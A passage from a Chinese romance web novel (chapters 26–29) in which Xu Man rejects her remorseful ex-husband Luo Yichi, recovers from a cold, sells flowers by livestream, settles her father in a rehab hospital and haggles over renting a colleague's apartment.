骆亦迟早就料到这个结果,攥着那颗树脂小球,小心翼翼放进胸前口袋里,蹲下,把快要熄灭的火挑高,然后去旁边捡来新的干柴火,添进去。 等火势稳了,他的声音才幽幽传来。 “我很后悔跟你离婚,如果不是……,”他顿了一下,“我不会放你走。” “这六年来,我家里发生了太多事,我周旋于其中,没有机会来找你,现在有机会了,许满,我想补偿你。” 许满说:“你补偿我?那池柠呢?” 骆亦迟:“她……” 许满不想听,未等骆亦迟说出来,便毫不犹豫出口打断了他,说话一点情面都不留,“哎骆亦迟,你是舔池柠舔得腻味了,所以想换个人舔,于是选中了我吗?” “不是。” “那是什么?别告诉我,你不爱池柠了,转而爱上了我。” “就是那样。”骆亦迟说,“没错,就是那样,许满,我爱上你了,在你离开后。” 许满:“……” “你离开后,我身边没有出现过任何女人,我没谈恋爱,更没结婚!”怕许满不信,骆亦迟举起右手,“这是我们的婚戒,离婚后我一直戴着,就是为了告诉所有人,我有家庭!我爱你!” 许满这时候才看清骆亦迟无名指上那枚戒指,她只见过这个戒指两次,一次在柜台,一次在婚礼,时间已经过去六七年,她其实并不记得这枚男戒的款式,此时骆亦迟亮出来,才恍恍惚惚想起,哦,好像是长这个样子。 但是,有什么用呢? 她早就不在乎了。 “骆亦迟,你看看这双手。”许满伸出自己的手。 她的手算小的,握成拳头,一个成年男人可以一手攥住。 小小的手,指节细长,但并不漂亮。 那是双经过多年生活磋磨的手,皮肤粗糙如柴,骨节明显,掌纹不清,掌心与指根连接处有层黄黄的薄茧,指甲边缘挂着泥土和久未修剪的死皮。 “看到这双手了吗?这是贫家女的手,与你干净修长骨节分明十指不沾阳春水的手对比鲜明,是两个截然不同的模样。” “你是富家子,我是贫家女。贫家女和富家子的爱情故事,本就是因为不可能发生,所以世人才妄自杜撰,满足幻想,将他们绑在一起。可就算是杜撰,结局里,贫家女往往都付出了惨痛的代价,富家子不仅什么都没损失,还家庭美满过得幸福。” “这是不平等的爱情。” “这样不平等的爱情,会有什么好结果呢?所以我早点醒悟过来,不要这样的爱情。我的生活已经够苦了,现在好不容易好起来一点,我不想再回去了。” 妄想不属于自己的东西,在上面栽了个大跟头,因此付出了惨痛的代价。 长了记性之后才明白,灰姑娘和王子之所以能在一起,是因为灰姑娘本就出身贵族。 “我们之间,除了池柠,还隔着阶级,这是横在你我之间,永远无法跨越的天堑。” 骆亦迟不愿放弃:“这个阶级,你不用跨,你就当它不存在,我会跨过去找你。” 许满苦笑一声,摇摇头,打断他不切实际的幻想。 “骆亦迟,你还没明白吗?” 骆亦迟嗓子发紧:“明白什么?” 许满说:“我和你本就不应该在一起。” 骆亦迟沉默不语,神色变得茫然。 空旷洞穴里,许满一个人的声音静静回荡。 “我爱过你,你不珍惜,那我只好不再爱你。” “我曾恨你,可是如果没有你,没有你给我的那笔钱,我爸早就没了。” “所以其实后来,我是感激你的。” “现在,我不爱你,也不恨你,两相抵消,我不需要你的任何补偿,也不要你的爱,你对我来说,只是来流云湾旅游的一个普通游客,仅此而已。” 第26章 第 26 章 药。 雨淅淅沥沥, 忽大忽小,一直到半夜才停。 火堆式微, 洞穴内再找不到干燥的柴火添进去,一声噼啪轻响过后,火光终于颤颤巍巍熄灭,残留一堆细小的火星子在闪烁。 骆亦迟打开手机手电筒,放在许满身后,供她照明, 自己再回到洞口,守在那里。 许满说了那些话之后,他就一直坐在洞口,除了偶尔进去添添柴火, 除非许满叫他,否则他不会出现在许满眼前。 但许满从没叫过他。 雨停之后山风来袭, 体温将湿衣捂干, 入夜的寒凉逼上来, 钻进身体里, 从骨缝里侵扰着人的身躯。 但骆亦迟似乎不知道寒冷是什么滋味, 外套也没穿, 即使许满扔在了脚边并没有接受他的好意。 他就这么沉默的坐在那里, 像一尊石雕门像, 手里捏着那颗树脂小球, 一动不动, 望着天边, 不知道在想什么。 夜色隐退,曦光穿透黑暗,天边泛起鱼肚白。 许满听雨没有再下, 起身打算下山回家。 她慢悠悠站起来,拿好东西越过骆亦迟,招呼都没打,踩着泥泞的山路,往山下走。 骆亦迟见她从身边走过,眨了眨眼睛,将眼中一夜未合的焦涩逼走大半,然后回洞里拾起手机,跟上了许满的步伐。 破晓时分,大地朦朦胧胧,视野还没那么清晰。 被雨水浸泡了一夜的路面湿滑,淤泥松软堆积,泥石裸露在沿途的山道上,每走一步都得分外小心。 乱石没有底,许满不慎踩中,脚下一滑,尖叫一声,在泥泞山道上摔了个屁股墩儿。 “许满!” 骆亦迟立即冲过来将她扶起,“怎么样?摔到没?” 许满不动声色避开想要帮她的那只手,撑着地勉强站起来,抓着旁边一块被雨水冲刷干净的大石头,扶腰坐上去。 昨晚已经说得很清楚了,她不想让骆亦迟产生不必要的误会,所以拒绝一切与他不合时宜的接触。 骆亦迟的手在半空停了两秒钟,最后落寞放下,转而去拾摔了一地的药草和工具。 旁边有颗小树长得直,粗细合适,长度适中。 骆亦迟捡完东西,瞄准那颗小树,用镰刀几下砍断,手法生疏的将枝干上粗糙扎手的切口处理平滑,摸了摸,又拄在地上试了试,自认结实,不会伤手了,将这根简易的登山棍递给许满。 “拿着吧,待会下山用它,能省点力。” 许满不接。 骆亦迟:“怕你再摔倒,你若是不接,我就一路抱你下山。” 许满只好接过,“谢谢。” 摔的那一下不轻,估计伤到了肌肉,钝痛牵扯屁股和大腿,抬脚时腿都抻不直。 许满歇够了,拄着骆亦迟亲手做的登山棍,在前面一瘸一拐的走。 骆亦迟望着那个背影,心里溢起一抹难言的酸涩。 许满对他的排斥是如此明显,他只能用这种令她讨厌的方法,才能让她勉强接受自己给予的一点帮助。 来时已经做好了这个准备,可是当真正经历真正面对时,那种心酸难言之感,又如此的难受,像是有一把生锈的钝刀,在他心头来来回回反复磋磨。 一路无言,骆亦迟谨慎保持着不让人反感的距离,一前一后下了山。 山下天晴,路途也较为平坦,走起来轻松了许多。 早起,村里有很多人在散步,许满穿过他们,被大家看见,都关心问她:“怎么大清早的从山上下来,还搞得这么狼狈?” 许满用玩笑的语气说:“山里下雨,淋了一身雨,还摔倒了,不得狼狈嘛。” 村里大娘好心:“昨天下午我瞅着那山头就像有积雨云,还说这天可千万别有人上山,满儿你咋还偏偏上去了?” 许满笑笑:“说来话长,倒是大娘,积雨云怎么看,你教教我呗,这样下次再上山,我也有准备,看见它就不上去了。” 大娘说:“这简单,你看那云层又高又厚,云底平直,像个巨山一样的,多半就是了。哎,满儿,你身后那男的是小梁?跟你一起上山的?” 许满这才望了一眼身后,“他呀,不是小梁,小梁回家了。” “那他是谁?” “可能是游客吧。” 大娘“哎哟”一声,“估计也不会看天就进山了,看这一身弄的……”. 骆亦迟一路护送许满直到她安全到家,听见院子里传来和许晋文的对话声,才恋恋不舍转身离开。 他回到车里,换掉一身脏衣,给快没电的手机充上电,关闭飞行模式,来电提醒和消息一个个的弹了出来。 赵靖闻昨天 19:42 【骆总,提醒,晚上八点欧洲线上会议别忘了】 【来电提醒:赵靖闻3】 【来电提醒:池柠2】 池柠昨天22:54 【小迟你去哪了?给你打电话怎么打不通?赵秘书说联系不到你,找到我公司这里来了】 池柠凌晨00:13 【很担心你,看到回电】 【来电提醒:赵靖闻1】 赵靖闻凌晨01:25 【骆总,欧洲合作商那边炸了您知道吗?我已经联系公关去处理】 【来电提醒:爸1】 语音留言 凌晨01:36 【公司那边怎么回事?那么重要的会议都缺席?】 …… 消息一条接一条,看得人既心烦又头疼,骆亦迟囫囵扫了一眼,便把手机扔在了一边,任它嗡嗡响着,不打算看了。 在山上待了一天一夜,滴水未进,身体机能好像现在才反应过来,又饿又冷。 骆亦迟没什么胃口,车里有瓶矿泉水,不知道什么时候放的,他没管那么多,拧开咕咚咕咚灌下去大半,喝完往旁边一扔,关掉空调,趴在方向盘上休息。 闭上眼不知道过了多久,手机又嗡嗡响起来。 骆亦迟任它响了一会儿,一直等到第三遍,才疲惫的接起。 听筒里传来池柠关切的声音:“终于打通了,小迟你去哪儿了?给你敲门一直不应,是不在家吗?” 骆亦迟一张口,感觉喉咙有点不对劲:“手机没电了,才充上电。” “声音怎么这么哑?生病了?” 喉咙痒,痛,像是发炎了,骆亦迟咳了咳嗓子,顿时头痛欲裂,连带着浑身肌肉都酸疼。 有点冷,他把西装外套穿上,又拧开水喝了一口,说:“嗯。” 池柠焦急道:“怎么会病了?你在哪儿?我给赵秘书和老张打电话,让他们去接你。” 骆亦迟咽了口不存在的唾沫,喉咙瞬间像刀片划过一样,疼得直冒烟。 “我没事,休息会儿我就开车回去。” “生病开车不危险吗?” “告诉赵靖闻……算了,我自己给他打电话吧。” “小迟……” “你不用管我,我自己心里有数。” 骆亦迟没说那么多,挂断电话,忍着身体的不适,给赵靖闻拨了过去。 赵靖闻几乎是秒接,骆亦迟不废话,直接下通知,“我中午会到公司,你在公司等我。” 说完,掐断了电话。 他躺靠在驾驶座上,视线穿过车窗,望向通往许满家巷子口的那个方向,深深看了一眼。 犹豫良久,打开车门下了车。 清晨太阳还没那么毒辣,有几个大伯大娘坐在村口聊天,骆亦迟向他们打听村里有没有可以看病的地方。 老伯指向东边,“卫生所是吧?呐,往东,过两个巷子口就到了。” “谢谢老伯。” 道完谢,骆亦迟回到车上,按照老伯指示,驱车往东。 卫生所很好找。 一家独家院似的卫生所,不用费力就能看见,骆亦迟推门进去,穿白大褂的医生看见他,从电视剧里移开目光。 骆亦迟直奔主题。 “开点感冒药,要开车不打瞌睡的。” 村医简单询问了骆亦迟的症状,从柜台机拿出两盒药。 “这个吃了不犯困,但效果不如打瞌睡的明显。” 骆亦迟说:“那开两份吧,另一份正常就行。” 村医又拿出两盒不一样的药来。 付了款,骆亦迟拿走前面那两盒药,后面的推回给村医。 “麻烦帮我送到村北许满家里,交给许满。” “老许家那闺女?” 骆亦迟点点头。 村医经常干上门看病送药这事儿,对骆亦迟的要求见怪不怪。 他好奇的打量了这个憔悴陌生的男人一眼。 “行,一会儿我给她送去,但是说什么呢?” “就说……” 骆亦迟顿了顿,欲言又止,“算了,什么都不用说。” 如果许满跟他一样也生病了,那么大概率会猜到药是他送来的。 不想让许满拒绝,只好不出现在许满面前。 骆亦迟拿好药,回到车里,就着剩下的水吃了,发动车子,慢慢往连城的方向驶去. 许满是中午发现自己生病的。 到家之后她洗完澡就去床上睡了,睡到中午迷迷糊糊醒来去做饭,一翻身,视野一片天旋地转,还没坐起,身子就沉得像一袋水泥,倒床上起不来了。 意识到是病了,许满想跟许晋文说一声。 “爸。” “爸?” 唤了两声,没人应,她趿拉上拖鞋,去院子里找。 院子里也没人,不知道人去哪儿了,许满头晕目眩的,喊了几声就觉得缺氧,靠在窗边,借着热烘烘的太阳缓劲儿。 暼见窗台上有两盒药,许满拿过来一看,是感冒药,正好对应自己的病症。 这是许晋文发现她病了,趁她睡着时买来的? 估计是,除了许晋文,谁还知道她生病了? 许满心里暖暖的,进屋倒了杯热水,对着说明书吃了药,便回卧室躺着了。 不一会儿许晋文串门回来,见许满还没醒,敲门叫她起床。 感冒药药效发挥没那么快,许满迷迷瞪瞪听见声音,闷闷的说,“爸,我不舒服吃了药,你先让我躺会儿缓缓,等好点了我就起来做饭,你饿的话桌子上有麦片我可以先帮你泡点。” 许晋文只听到许满不舒服,“什么药?怎么病了满儿?” 许满:“就窗台上的感冒药,我感冒了,发烧呢。” 许晋文想起来了,“哦,那个啊,王医生,半上午送来的,问他为什么,他,不说。” 许满一怔,拉开了被子:“不是你给我买的?” 许晋文:“不是。” 许满转念一想,是啊,她关着门,许晋文没进她屋,怎么会知道她生病了? 卫生所的人自然也不会知道。 瞬间许满心里有了另一个答案。 是骆亦迟预感到她会生病,所以帮她买了药特意找医生送过来? 那他自己呢? 在山洞外穿着短袖坐了一夜,还好吗? 应该不会比她好到哪里去吧…… 许满咬了咬嘴唇,也许是因为生病,坚硬的心竟罕见的生出一丝内疚来。 但很快,又告诫自己。 快收起那点廉价的同情心! 她又不是菩萨! 不能心软!不能慈悲! 第27章 第 27 章 向日葵。 许满在家养了两天病, 病好之后,梁桓宇又来了。 梁桓宇一走就是小半个月, 这次回来没带大黄,许晋文心里还有些失落。 不过他没在明面上表现出来,就是跟梁桓宇聊天时,会时不时主动提起大黄,问他:“大黄,好了啊?” “好了呢, 活蹦乱跳的现在。” “哦……大黄它,可别,再乱吃,东西。” “放心吧大爷, 我爸妈把它照看得可好了,不会让它乱吃的。” “哦……” 直播停了一阵子, 流量直接腰斩, 又得重新造势。 场地依旧选在许满家院子里, 傍晚天刚擦黑, 许满将晒了一地的药草收拾干净, 梁桓宇重新开播了。 幸好他有粉丝基础, 不管人多人少, 总有人看。 许满不执着必须卖出多少, 她在这直播卖花件事情比较佛系, 能卖出去就卖出去, 卖不出去也无所谓, 图的就是有事干。 上次尝试过一次直播,结果不尽人意,这次许满特意搬了个小板凳坐在旁边学习, 看梁桓宇是怎么操做的。 看完得出结果,自己确实不是直播那块料。 梁桓宇走的小鲜肉唱歌赛道,许满走的是科普赛道,两赛道受众完全不同,有深厚的壁。 且梁桓宇是个e人,说话表演收放自如,不唱歌时永远有话讲,且内容都不干巴,跟讲课时容易跑题讲八卦的老师有得一拼。 对比一下自己的直播,内容枯燥乏味,有话讲时都是干货,没话讲时只剩沉默。 怪不得梁桓宇不上她的课,原来是她讲课没意思。 得,自己不是干直播那块料,专业的事还是交给专业的人做吧。 时光在夏日暖风中飞速流逝,转眼到了八月下旬。 新入职教师需要提前一周到校参加入职座谈会,距离九月份开学还有不到十天,许满开始筹划上班租房子的事儿。 当时求职报的是人才引进,有购房补贴,每年按比例支付,还有一笔安家费,凭这笔钱,许满可以在学校附近租个条件差不多的房子。 闲下来,许满征询许晋文的意见:“爸你想不想跟我一块去连城?我在那边租个房子,上班后就没上学那么忙了,有时间陪你。” 许晋文一听要离家,纠结的思索了很久:“去那边,有熟悉的,人吗?” 许满说:“大概没有,我计划租个电梯房,再给你买个轮椅,你天天坐着轮椅到人多的地方找人聊天,人嘛,聊着聊着就熟悉起来了。” 许晋文还是喜欢流云湾,人熟地也熟,但许满得上班挣钱,不可能天天待在家里照顾他,他又确实不想离家,一时犯了难。 “要不,我还是去,康复医院吧,老赵,还在那儿呢。”许晋文落寞的说。 许满想让许晋文离她近一点:“要不我在学校附近给你找个康复医院?” 许晋文:“那,还不如,租房呢。” 许满:“……” 人到老年脾气拗,许满知道,许晋文不想跟她走一来是念家,二来怕麻烦她,三来,是怕寂寞。 他喜欢待在熟悉的环境里,去家附近的康复医院,起码那些医生他都认识,而且老赵也在那儿,能跟他聊但一块去。 “行吧爸,那我联系你上次去的康复医院。” “哎。”许晋文说。 商量好许晋文的去处,许满便向梁桓宇打听连大附近的租房情况。 梁桓宇虽跟连大情谊颇深,但租房这一块,从小衣食不愁的知识分子子女没有了解过。 “啊老师要不我让我爸妈帮你打听打听?”梁桓宇挠着头说。 自己找房子怎么还麻烦上梁桓宇父母了? 许满赶紧:“不用不用,我就随口问问,哪能让你爸妈和你为我这点小事儿操心。” 梁桓宇:“老师你说这话就见外了。” “我没跟你见外,我就是觉得,租房最好向陌生人租,牵扯朋友关系,涉及到金钱或者人情,一出事就掰扯不清了。” 梁桓宇思索一瞬,大概觉得许满说的有道理,“行,那到时候我陪你一起看房子。” 离开学还有几天时间,许满得安顿许晋文,还得置办一些东西,没空再跟梁桓宇玩直播,正好梁桓宇租的民宿也到期,便不再续租,打道回去了。 梁桓宇走后,许满趁没事干又架起了直播架,面对观众寥寥无几的直播间,跟院子里的花一一道别。 “马上就要去邻市上班,院子里这些花没人照顾,又得听天由命了。” “不过我留了一些花种,如果租房的地方适合养花,再把它们重新种下,那样来年就又能闻到花香了。” “这是向日葵,花期就只有暑假两个月,开学慢慢就败了。” “这是六出花,这是黄玫瑰……” 许满絮絮叨叨说着,突然,个位数的直播间跳进来一个熟悉的id。 宇音不绕梁:【老师你在直播?】 他怎么来了? 许满黑线,尴尬道:“啊,嗯,闲着没事儿,跟这些花道个别。” 宇音不绕梁:【老师,你这样子不行,没多少人看,我跟你连线吧】 许满拒绝:“千万不要。” 她可招架不住那么多人,网络跟其他地方不一样,一紧张说错话,会被人恶意曲解的。 宇音不绕梁:【为什么?】 许满正经道:“我们是师生,跟你关系太密切会让人引起误会,到时候费多少嘴皮子都解释不清,你说你这不是害我吗?” 梁桓宇:“……” 这次换梁桓宇黑线了。 许满对师生关系太敏感,已经强调过无数次,梁桓宇耳朵都快听出茧子了。 宇音不绕梁:【老师我怎么会害你呢?】 许满:“你最好不要害我,我输不起。” 梁桓宇自带流量,在许满直播间里待了会儿,引来不少人气。 观看人数直线上升,从个位数开始,不知不觉上升到两位数,没一会儿破百了。 评论也渐渐多起来,大都在说抓到了梁桓宇本尊,还有人问他为什么不去自己直播间直播,而是在别人直播间里闲逛? 梁桓宇挑挑拣拣,看心情偶尔回复几句。 许满保持自己的节奏跟大家聊天,隔一会儿就看一眼评论,忽然瞟到一条关于自己的。 【这是在流云湾度假村卖花的那位小姐姐吗?】 【哇小姐姐你竟然直播了!】 许满不认识这位id是一串表情的网友,只回答,“啊,是我。” 【小姐姐你种的花好漂亮,也想拥有小姐姐的同款花坛。】 许满:“你若喜欢我可以教你怎么种。” 宇音不绕梁:【小姐姐若是喜欢,买束花呗,主播亲手种的花,养得可好了,保准收到后新鲜如初!】 表情符:【我喜欢小姐姐做的搭配,当初在流云湾旅游买了一束,拍照老好看了!】 说完,后台跳出一笔订单。 许满惊呆,这也行? 宇音不绕梁:【小姐姐收到货后觉得不错,再推荐其他朋友来啊。】 许满还处于震惊中,机械的把梁桓宇的评论念了一遍。 她就只上了这一个链接,完全没准备会卖出去,这一下卖出去了,还有点小激动。 “谢谢表情符小姐姐的照顾,小姐姐收到货后觉得不错,再推荐其他朋友来啊。” 表情符:【明天会发货吗?】 许满:“会的会的。” 表情符:【OK】 时间已经比较晚了,明早许满还要送许晋文送去康复医院,又聊了一会儿,便下播了。 第二天上午,许满去把花发出去,下午,便把许晋文送去了康复医院。 康复医院的人带老赵一起出来迎接,热烈欢迎老病友回归,欢声笑语间,许满见许晋文笑得开心,犹如回到快乐老家,离别思绪冲淡不少。 许晋文跟老赵住一个病房,许满买了牛奶,面包和水果,放在病房里让两位老人一起分享。 快要走了,许满握住许晋文沟壑嶙峋的手,叮嘱他:“有事没事想我了就给我打电话,我不上课都会接的,节假日一有空我就来看你,寒假再把你接回家去啊。” 不知道哪句话触动了许晋文,他浑浊的双眼闪着泪花,紧紧拉着许满的手,嘴角颤抖。 “满儿……” “爸你别哭啊,我又不是不把你接回去了。”许满跟着红了鼻子。 人上了年纪,最不忍就是离别,年轻时许晋文不以为意,为了挣钱几乎很少在家,现在成了这么一副残躯,反倒越来越舍不得亲情来。 可是许满要有自己的事业,他不能拖累许满呀,只好收拾掉窝囊的眼泪,强装无事,让许满赶紧走:“嗯,过年,再来接。” 许满一笑:“爸,不用等到过年,小年我就把你接回去,你要听医生的话,按时吃药,别耍脾气,知道吗?” 从康复医院回来,许满又打包了去学校的行李,第二天天一亮,便坐第一班大巴,出发去学校了。 这天一大早,许满亲自直播卖出的那束花,一路颠簸送到了前台职员王漫漫手里。 王漫漫高高兴兴拆开快递,按照随单小卡片提示醒好花,把花枝一枝枝取下来,插在透明的花瓶里。 她摆弄得认真,没注意前方投下来一个人影。 “你这花……哪里买的?” 来人出声,声色沉冷,王漫漫顿时手一抖,吓了一跳,忙中断动作,毕恭毕敬认真认错:“啊,骆总,对不起骆总,我不该上班时间开小差。” 骆亦迟仔细端详着那几株向日葵,“这向日葵很漂亮,哪里买的?” 王漫漫不敢看骆亦迟的神色,头垂得快要掉到地上:“网……网上,直播间,我们去团建时,村里一家卖花的小姐姐那里买的。” 直播间? 骆亦迟双眼微眯,想起那天晚上在许满家院子里唱歌的小男生,脸色一沉,“一会儿来我办公室一趟。” 第28章 第 28 章 卖花主播。 骆亦迟这句话令王漫漫战战兢兢。 花都不敢摆弄了, 磨磨蹭蹭半个小时后,她忐忑不安的按下电梯楼层, 一路预想了各种最坏的可能,内心打鼓的走到骆亦迟办公室门口,手来回试探几次,始终不敢下手敲门。 赵靖闻坐在骆亦迟办公室门口,看见王漫漫原地踱步踌躇不前,玩笑问道:“漫漫, 你怎么上来了?” 王漫漫仿佛抓住了救命稻草,立刻投以求救的眼神望向赵靖闻:“呜呜呜赵秘书救我……” 赵靖闻见王漫漫一脸害怕的样子:“怎么了漫漫?” 王漫漫快哭了:“呜呜呜我被骆总抓现行了,他要找我谈话,该怎么办?他不会把我开了吧?这工作是我好不容易才找到的……” 办公室里骆亦迟正在跟人通话, 赵靖闻往里面瞟了一眼,估计还得一会儿, 于是趁机问王漫漫:“开除你倒不至于, 骆总没空管你们前台的事儿, 你告诉我, 你开什么小差了?” 王漫漫:“我上班插花被骆总逮到了……” “插花?不至于啊, 骆总桌子上还天天插着花呢。” “那他为什么见我这样脸就黑了, 还让我来找他, 他也太周扒皮了, 我就插个花, 至于找我单独谈话吗?” 赵靖闻可不认同王漫漫这套猜想, 微笑安慰她:“也许是看上了你的花呢。” 王漫漫此时固执的认为骆亦迟就是想开除她, 要么就是罚她,或者警告她。 总之,被公司高层单独叫去谈话在她眼里不是什么好事。 赵靖闻似乎又帮不了她, 她丧得要死。 办公室里的通话声一结束,赵靖闻跟骆亦迟打去内线电话,“骆总,前台王漫漫找你。” 骆亦迟:“让她进来。” 挂上电话,赵靖闻给王漫漫使眼色:“快进去吧。” 王漫漫畏畏缩缩:“呜呜呜呜,我不敢。” 赵靖闻给她鼓励:“没事的,相信我。” 然后,代替王漫漫轻轻敲了敲门。 “进!” 随着一声命令,王漫漫顿时被抽了魂一样,腿都软了。 赵靖闻帮她推开门缝,她提心吊胆走进去,站在门口那片位置,低头含胸,大气不敢出。 “骆……骆总,您找我?” 骆亦迟拿着手机,头都没抬,问她:“你早上买的花,是哪个直播平台?” 王漫漫老实报出平台名字。 骆亦迟在手机上点了几下,从办公桌后走出来,将手机举到她面前,让她确认:“是这个app?” 王漫漫狂点头:“对对!” 骆亦迟下载好app,注册,登录。 又问:“卖花的主播叫什么名字?” 王漫漫在自己手机上点开最近关注,“骆总,就,就第一个。” “花与宇宙。” 骆亦迟念出这个id,搜索,找到对应头像,点击关注。 “她一般什么时候直播?” 王漫漫像个机器人,问一句答一句,小声道:“不清楚,我就看过一次直播,偶然点进去的,前天晚上。” 骆亦迟略一沉吟,“好,我知道了,你回去吧。” 说完,坐回办公桌后。 王漫漫暗自长舒一口气,全程头都不敢抬,蹑手蹑脚退出了办公室。 赵靖闻看她终于解放了,凑上来问:“怎么样,骆总没罚你吧?” 王漫漫拍拍心跳还没平复的胸口,“没,好奇怪啊,骆总就问我花在哪儿买的,还跟我要了卖花主播的账号。” 赵秘书一副我就知道的表情,“早就说了,骆总看上了你买的花。” 王漫漫不由感叹:“原来骆总是个爱花之人啊!” 赵靖闻微笑:“好了,没事了,快回去上班吧。”. 开学前的准备会议并不轻松,许满遇到都没顾上吃,拖着行李箱来到学院大会议室,新入职教师座谈会一开就是三四个小时。 会议内容枯燥乏味,无非就是教师介绍,师德培训,教学活动,课程安排,科研展望……这些千篇一律的内容。 许满认认真真做笔记,会议结束,领导们各自回家,她留下来跟未来同事互相认识。 各道专业,学科方向,互换联系方式,加微信进群,一套流程搞下来,口干舌燥。 开完会能回家了,同事张澜看她拎着行李箱,客气问道:“许老师你今天才来?是要回住的地方吗?我往东,顺路的话可以载你一程。” 许满感谢对方好意,“谢谢你张老师,但我还没找好住的地方,一会儿还得去找房子呢。” 张澜惊讶:“还没找吗?前两天我看有老师在学校教职工大群发了个出租自住楼房的贴子,位置就在学校北门步行十分钟的路程,华庭府,价格也公道,你没约着去看看?” 许满:“房东也是我们学校的老师?” 张澜:“是的,好像是商学院的一位老师,你有大群吗?没有的话我拉你进去,你去群里面问问。” 许满加了学校大群,张澜将租房贴转发给她,许满看过以后,觉得还行,能聊聊,于是@发帖人: 【江老师,学校北门那套房子还在吗?没租出去的话我想看看。】 江淮秒回:【私】 许满备注自己“景观系许满”,向江淮发出好友申请。 秒通过。 许满问:【房子还在吗?】 江淮:【在】 许满:【今天想看房,方便吗?】 江淮:【方便】 许满:【那我们约在小区见?】 江淮:【好】 许满:【江老师几点方便呢?】 江淮直接拨来了语音。 “喂?许老师?晚上六点半可以吧,现在我不在学校,得开车过去。” 对方是个声线低醇的年轻男音。 现在是下午五点,约在六点半见面的话……行,不耽误她吃晚饭。 “好的,江老师,那就约在六点半吧。” 许满跟张澜一起从教学楼出来,互道再见后,张澜去找车,许满提着行李箱去找食堂。 还没开学,一些学生已经提前返校。 许满视线在零星几个学生身上略过,忽然一定,看见前方人行道榕树下,站着一个熟悉的身影。 许满:“……” 梁桓宇朝她遥遥挥了挥手,跑到她跟前,一口白牙笑得灿烂,“老师:又见面了。” 许满:“你怎么在这儿?” 梁桓宇洋洋自得:“当然是等你啊。” 许满问:“等我做什么?” 梁桓宇佯装不高兴:“哎呀老师你忘了?从流云湾离开之前,你不是给我布置了任务,要给你找房子吗?我一回来就马不停蹄的联系中介,这不已经约了几个,带你去看看?” 许满就随口一说,没想到梁桓宇还上心了。 “你已经约好了?六点半我也约了一个。” “你也约了?在哪儿?” “学校北门,华庭府,商学院一个老师的自住房,现在在往外租,刚才我们微信聊过了。” 梁桓宇知道那个楼盘。 “华庭府的房子刚建好没几年,我没去过,听说环境挺好,是个小资楼盘,租金多少钱?” “还没谈,等见面了我再杀价。倒是梁桓宇同学,你能带老师先去食堂吃个饭吗?老师早上出门到现在,一口热乎饭都还没吃上,快饿死了。” “早说嘛!”梁桓宇一拍大腿,“学校食堂有五六个,你想吃哪个?我请客!” 许满快饿死了:“不挑,就最近的一个吧。” 暑假期间连大食堂正常营业。 梁桓宇带许满去了就近的一个食堂,许满饿狠了,一顿饭狼吞虎咽吃完,一擦嘴:“好了,吃饱了,我们去华庭府吧。” 梁桓宇还想带许满逛逛学校呢,“这么早去吗?现在还不到六点。” 许满不喜欢迟到,拎起包:“走过去不得半个小时?趁天还没黑,我看看小区环境怎么样,不然天黑就看不到了。” 谁知话还没说完,微信电话响了。 江淮打来电话,说自己还有十分钟到,会先在房子里等她,让她尽量不要迟到。 梁桓宇只好作罢,和许满一起去华庭府。 华庭府保安戒备森严,许满和梁桓宇没有门禁,被拦住登记了个人信息。 保安指给许满要去的楼栋单元位置,说:“没有门卡进不去,你跟业主提前联系,让他给你开单元门禁。” “哦哦好。”许满应着。 两人又一路来到江淮所在的28号楼2单元。 正准备打电话让江淮开门禁,正好单元楼里有人出来,许满和梁桓宇趁机借此进去了。 江淮住22楼2202号,两人乘电梯上去,梁桓宇打量着明亮几净能照出影子的电梯,给与肯定评价:“这小区物业不错,安保和卫生各方面都挺到位。” 许满目前也都挺满意:“这不挺好?” 叮的一声,电梯抵达22层。 许满从电梯里出来,一梯两户的户型,西边户2202房门大敞,像在招呼她进来一样。 许满试探走过去,还未到门口,凉丝丝的空调风便将她包裹。 电视声音传出来,敞开的门内,客厅一览无余。 一个穿着打扮贵气的年轻男子此时正翘着二郎腿靠坐在黑色皮质沙发上,电视墙前的大屏超薄电视正在播放一档时下热门的综艺节目。 “江淮……江老师?”许满立在门口,敲了敲门。 江淮从沙发上坐起来,“许满老师吧?” 许满点头:“嗯。” “快请进。” 江淮快步去迎接,边走边说,“我这套房子一个暑假没人住了,不过一直有请人打扫,刚才试了试,电气设备全都能正常工作……你们……” 江淮这才注意到跟在许满身后的梁桓宇:“两个人住?” 第29章 第 29 章 想挖他墙角? “不不, 我一个人住。”许满忙解释,“他是我学生。” “哦。” 江淮就是随口一问, 并不真的在意到底几个人住。 他将房间所有灯都打开,介绍这套房子。 “装修你也看到了,因为之前是我自己住,所以风格偏男性化。” 房子内部装饰整体颜色偏深,走的是意式轻奢风。 灰色细腻的墙体,深色的高品质家具, 配以暖色灯带,角落里摆放了几株半人高的绿植,恰到好处打破了配色的沉闷,整体来说高级简约又富有质感。 客厅直通阳台, 阳台宽阔,傍晚时分, 暮色合璧, 落地玻璃窗外, 连大校园的高杆灯将操场映照得红绿分明, 万家灯火逐次亮起, 车流静谧穿梭于车水马龙之中, 车灯划出一道道流星似的尾光。 “只有一个卧室, 我这人不爱看书, 所以没有书房。”江淮推开卧室门, “我的私人物品已经搬空了, 你随时可以拎包入住。” “你不住了吗?”许满问。 江淮说:“哦, 不住了,这房子有点小,我喜欢大户型, 所以又买了一套,离学校也不远,开车就半个小时吧,暑假刚搬过去。” 许满:“……” 嚯,有钱人。好杀价。 许满对这套房子挺满意,小声问梁桓宇:“你觉得怎么样?” “挺好的,环境,交通,安保,各方面都没问题,就是……”梁桓宇掩唇凑近许满耳朵,“我刚才问过中介了,这儿的租金可不便宜。” 江淮大概是听到了他们的谈话声,“价格好商量,都是同事,我也不要你那么多了,给你抹掉五百块,水电费你自己交,房租一个月三千,押一付一,怎么样?” 许满一听,倒抽一口气,好贵! 梁桓宇:“喔,比中介报价低。” 就这还低? 许满:“太贵了,都是同事,江老师便宜点。” 江淮为难:“我这已经给你便宜过了。” 许满指指脚边的家具,“这样,电视沙发,还有这柜子地毯,还有这些装饰摆件,我都不需要,江老师你都搬走,2400我租了可以吗?” 江淮一听差点惊掉下巴:“你这是屠龙刀啊姐妹!我这可都是漂洋过海找意大利名匠亲手定制的!你砍价也不能这么砍!” 许满:“可这些家具我都不需要,万一给你弄坏,到时候退租我可赔不起,我只需要一个卧室住就行。” 江淮梗起脖子:“你进卧室不得从客厅走?再说,我那床也是定制的呢!” “那个呀……”许满作思考状,“床你搬走吧,毕竟你睡过,但是这样的话我就得自己买床了,自己买可以,但就相当于你只租给了我一个房架子,你房租得再便宜200才行。” “我的姑奶奶……你想2200租下这套房?” “江老师,我想1800租,你舍得吗?” 江淮两眼抹黑,“对折都不带这么打的姐姐!” 